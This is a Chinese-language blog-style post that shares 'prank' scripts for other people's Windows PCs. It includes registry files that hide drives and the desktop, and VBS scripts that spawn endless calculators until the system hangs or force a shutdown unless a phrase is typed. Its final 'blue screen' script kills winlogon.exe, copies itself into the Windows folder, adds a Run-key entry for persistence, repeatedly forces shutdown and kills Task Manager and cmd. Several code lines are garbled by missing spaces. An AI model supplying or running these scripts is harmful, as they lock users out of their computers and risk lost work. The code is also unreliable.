病毒

前段時間看到大家對這種整人的代碼興趣還挺濃厚的，我最近就收集了一些和大家分享。
PS：由於精力問題沒有對代碼的可用性進行一一驗證，所以不保證全部可用，大家如果發現有不可用的或者需要改進的地方請提出來，以下代碼僅供娛樂，請勿用於非法用途。

一、怎麼點都沒反應的桌面
如果同事的電腦開着，他離開電腦前一會，嘿嘿，機會來了。
　　把他的電腦桌面按print鍵截屏截下來，（當然QQ截屏也可以，不過效果不太逼真！）建議大家用print截屏，設置爲桌面。
　　然後把原來在桌面上的文件統統移到一個盤的文件夾裏，這樣桌面看上去和平時一個樣。他回來後狂點鼠標，卻怎麼都沒有反應！現在還在關機,開機,關機,開機,關機,開機中…………
　附帶：print鍵截屏方法：
　　鍵盤右上方的“Print Screen Sys Rq”鍵的作用是屏幕抓圖！
　　用法一，按“Print Screen SysRq”一下，對當前屏幕進行抓圖，就是整個顯示屏的內容。
　　用法二，先按住“Alt”鍵，再按 “Print Screen SysRq”鍵，則是對當前窗口進行抓圖。如你打開“我的電腦”後，用此法就抓取“我的電腦”窗口的內容。
　　用上訴兩種方法抓圖後，再打開“開始”、“附件”裏的“畫圖”程序，點“編輯”、“粘貼”就把抓取的圖片貼出來了，可以保存爲自己需要的格式。
　　哈哈，簡單吧，這方法真挺搞的，有興趣的童鞋可以試試！
二、讓電腦硬盤消失－隱藏磁盤方法
　　愚人節電腦整人使無端端地電腦磁盤的某個分區消失了，鑽進地縫裏面去了嗎，給外星人抓走了？？非也！是某些人使壞將其隱藏起來了！
步驟

1.新建一個記事本

2.將記事本的後綴改爲.reg，就是將“新建文件.txt”改爲“新建文件.reg”

3.將下面的代碼複製到記事本當中：


Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDrives" =hex:08,00,00,00


解釋
　　（1）"NoDrives" =hex:08,00,00,00 這個鍵值是隱藏D盤的
圖中的D盤已經神祕消失了。
　　（2）A=01000000 B=02000000 C=04000000 D=08000000 E=10000000 F=20000000G=40000000 H=80000000 I=00010000 J=00020000 K=00040000
原理介紹：二進制值 “NoDrives”的缺省值均是00,00,00,00，表示不隱藏任何驅動器。鍵值由四個字節組成，每個字節的每一位(bit)對應從A:到Z:的一個盤，當相應位爲1時，“我的電腦”中相應的驅動器就被隱藏了。第一個字節代表從A到H的8個盤，即01爲A，02爲B，04爲C……依次類推，第二個字節代表I到P，第三個字節代表Q到X，第四個字節代表Y和Z。比如要關閉C盤，將鍵值改爲04,00,00,00;要關閉D盤，則改爲 08,00,00,00，若要關閉C盤和D盤，則改爲0C,00,00,00(C是十六進制，轉成十進制就是12)。
理解了原理後，下面以筆者的電腦爲例說明如何操作：筆者的電腦有一個軟驅、一個硬盤(5個分區)、一個光驅，盤符分佈是這樣的：A:(3.5軟盤)、 C:、D:、E:、F:、G:、H:(光盤)，所以我的“NoDrives”值爲“02 ff ff ff”，隱藏了B、I到Z盤。
還原方法

1.點擊開始--運行，如圖，在運行對話框中輸入“regedit”，打開註冊表編輯器。

2.依次打開[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]，將右側窗口中"NoDrives"這個子鍵刪除。

3.重新啓動電腦。


三、空空的桌面
電腦桌面是用戶最熟悉不過的了，電腦整人方法電腦啓動之後首先呈現的就是桌面了，如果在愚人節你把你朋友的桌面給Hack掉了話，你的朋友是不是會發瘋啊？
　　桌面是用戶操作電腦首先進入的界面，電腦桌面空空如也，一望無垠的時候，你是否很無奈？原來這一切都是它在作怪！
如圖整人後桌面清清爽爽，什麼都沒有！

方法步驟
1. 新建一個記事本
2.將記事本的後綴改爲.reg，就是將“新建文件.txt”改爲“桌面.reg”

3.將下面的代碼複製到記事本當中：
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDesktop"=dword:00000001
"NoSetTaskbar"=dword:00000001
解釋：(1)"NoDesktop"=dword:00000001 這個鍵值是屏蔽桌面的；(2)"NoSetTaskbar"=dword:00000001這個鍵值是禁用“任務欄屬性”功能。
將信息導入到註冊表之後，桌面圖標、桌面右鍵、桌面屬性的功能都被禁用了。
還原方法：

1.點擊開始--運行，如圖，在運行對話框中輸入“regedit”，打開註冊表編輯器。
2依次打開[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]，將右側窗口中“NoDesktop”、“NoSetTaskbar”這兩個子鍵刪除。

四、讓天使替我說我愛你

CreateObject("SAPI.SpVoice").Speak"i love you"
送給你女朋友她會高興地，保存爲.vbs格式

五、打開無數個計算器
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
這段代碼是打開無數個計算器，直到死機 ,也是保存爲.vbs格式

六、你被耍了
while(1)
msgbox "哈哈你被耍了！"
loop
這段代碼就比較壞了,一直彈出窗口顯示"哈哈,你被刷了!"要是你不會結束它,只好重啓電腦了,也是保存爲.vbs格式

七、甩不掉的魔鬼
WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎麼纔來，說~是不是不關心我")
WScript.Echo("哼,我生氣拉，等你這麼久，心都涼啦。")
WScript.Echo("小強很生氣，後果很嚴重哦。")
WScript.Echo("嘿嘿！你也會很慘滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")
WScript.Echo("還剩49下，快點點哦")
WScript.Echo("還剩48下，快點，小笨蛋！")
WScript.Echo("還剩47下對，就這樣快點點！")
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")
WScript.Echo("還剩45下，記得要快哦！")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停！！！慢點，我有話要說")
WScript.Echo("還剩12下，你繼續點我就會消失滴")
WScript.Echo("還剩11下，以後就看不到我拉。555555")
WScript.Echo("還剩10下，你現在可以選擇停止！")
WScript.Echo("還剩9下。你還點啊，不要我拉？")
WScript.Echo("還剩8下，有點傷心拉，幹嘛丟棄人家")
WScript.Echo("還剩7下。瘋了，你有點負意！")
WScript.Echo("還剩6下。對。你就點吧，我恨你！")
WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")
WScript.Echo("還剩4下！真要刪除我？")
WScript.Echo("還剩3下。可是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這麼絕情嘛，人家是愛你的！")
WScript.Echo("還剩1下。哼，既然你這麼絕情。也別怪我無義！！！")
WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機會。")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
改成.vbs

八、說我是豬
on error resume next
dim WSHshellA
set WSHshellA =wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r-t 180 -c ""說我是豬，不說我是豬就一分鐘關機，不信，試下···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說""我是豬""
","說不說","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) +a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown-a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
這個運行後必須輸入我是豬(當然你也可以改成別的,把代碼中所有的我是豬換成你想改的,
比如說我愛XXX之類的,大家懂的 ),如果一分鐘沒輸入我是豬,就會關機.也改成.vbs

九、被鬼附身的記事本

dim sh,str,a,i
setsh=createobject("wscript.shell")
sh.run "notepad" '打開記事本
do while sh.appactivate("無標題 - 記事本")=false
wscript.sleep 1000
loop
str="wokao1!ni1youmeiyou1gaocuo1!"'這一行是演示中文輸入。定義要打字的字符串。只能是英文或數字或符號。
'如果想輸入中文請把下2行的註釋去掉。否則就在前面加上註釋符號“'”(不帶引號)
'並在str中輸入按鍵的過程如：想輸入“氣死我了”就寫 qisiwole1
sh.sendkeys "^ "
'解釋上一行：呼喚中文輸入法
for i=0 to len(str)-1
a=mid(str,i+1,1)
sh.sendkeys a '發送虛擬按鍵
wscript.sleep 500 '打字速度。數值越小越快。
next
save=1 '如想保存則寫1
if save=1 then
sh.sendkeys "^ "
'解釋上一行：關閉中文輸入法。如果是中文，則必須去掉上一行的註釋。
sh.sendkeys "^s"
wscript.sleep 300
sh.sendkeys "c:\name.txt" '文件名(可寫路徑)，必須是英文。如果是中文模式，則必須將其關閉
wscript.sleep 100
sh.sendkeys "{Enter}"
end if
這個會自動打開筆記本,自己寫字,怎麼樣?是不是有貞子爬到你電腦裏的感覺?也是保存爲.vbs格式

十、藍屏代碼
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
ifUcase(ps.name)=Ucase("winlogon.exe") then
ps.terminate
end if
next

for each ps ingetobject("winmgmts:\\.\root\cimv2:win32_process").instances_
ifUcase(ps.name)=Ucase("winlogon.exe") then
ps.terminate
end if
next



Setws=CreateObject("WScript.Shell")
setfs=createobject("scripting.filesystemobject")
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfilethn,a1&"\admin123.vbs",true
do while i<10
i=i+1
ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"
loop
ws.run "shutdown -s -f -t 60"
do
wscript.sleep 500
if ws.appactivate("Windows 任務管理器")=truethen
ws.run "taskkill /f /imTaskmgr.exe"
end if
if ws.appactivate("命令提示符")=truethen
ws.run "taskkill /f /im cmd.exe"
end if
ifws.appactivate("C:\WINDOWS\system32\cmd.exe")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("系統關機")=falsethen
ws.run "shutdown -s -f -t 30"
end if
loop

改成.vbs